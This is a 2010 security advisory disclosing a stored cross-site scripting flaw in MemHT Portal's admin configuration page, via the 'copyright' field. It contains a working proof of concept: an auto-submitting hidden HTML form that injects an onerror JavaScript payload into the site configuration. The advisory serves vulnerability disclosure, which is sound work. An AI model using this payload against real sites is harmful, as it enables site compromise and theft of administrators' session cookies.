XSS vulnerability in MemHT Portal

Vulnerability ID: HTB22662
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_memht_portal.html
Product: MemHT Portal
Vendor: Miltenovik Manojlo ( http://www.memht.com/ )
Vulnerable Version: 4.0.1 and probably prior versions
Vendor Notification: 19 October 2010
Vulnerability Type: Stored XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "admin/pages/configuration/index.php" script to properly sanitize user-supplied input in "copyright" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/admin.php?page=configuration&amp;op=siteConfig&amp;ok=true&quot; method="post" name="main">

<input type="hidden" name="nome_sito" value="sitename">
<input type="hidden" name="site_url" value="http://host">
<input type="hidden" name="webmaster_mail" value="[email protected]">
<input type="hidden" name="site_open" value="1">
<input type="hidden" name="offlinemsg" value="">
<input type="hidden" name="defpage" value="news">
<input type="hidden" name="timestamp" value="%d/%m/%Y %H:%i">
<input type="hidden" name="timezone" value="0">
<input type="hidden" name="admin_ghosts" value="1">
<input type="hidden" name="infobar" value="0">
<input type="hidden" name="graphic_check" value="1">
<input type="hidden" name="textarea_editor" value="1">
<input type="hidden" name="modrewrite" value="0">
<input type="hidden" name="footmsg" value="">
<input type="hidden" name="copyright" value="copyright<img src=x onerror=alert(12345)>">
<input type="hidden" name="descrizione" value="">
<input type="hidden" name="metatags" value="">
<input type="hidden" name="user_max_lunghezza" value="20">
<input type="hidden" name="pass_max_lunghezza" value="20">
<input type="hidden" name="user_confirm_email" value="1">
<input type="hidden" name="approve_users" value="0">
<input type="hidden" name="num_news_home" value="5">
<input type="hidden" name="num_news_page" value="20">
<input type="hidden" name="guest_msgbox" value="0">
<input type="hidden" name="forumattachment" value="0">
<input type="hidden" name="forumattachmentfolder" value="attachment">
<input type="hidden" name="virtualpages" value="1">
<input type="hidden" name="usecomments" value="1">
<input type="hidden" name="guest_com" value="0">
<input type="hidden" name="Submit" value="Save">
</form>
<script>
document.main.submit();
</script>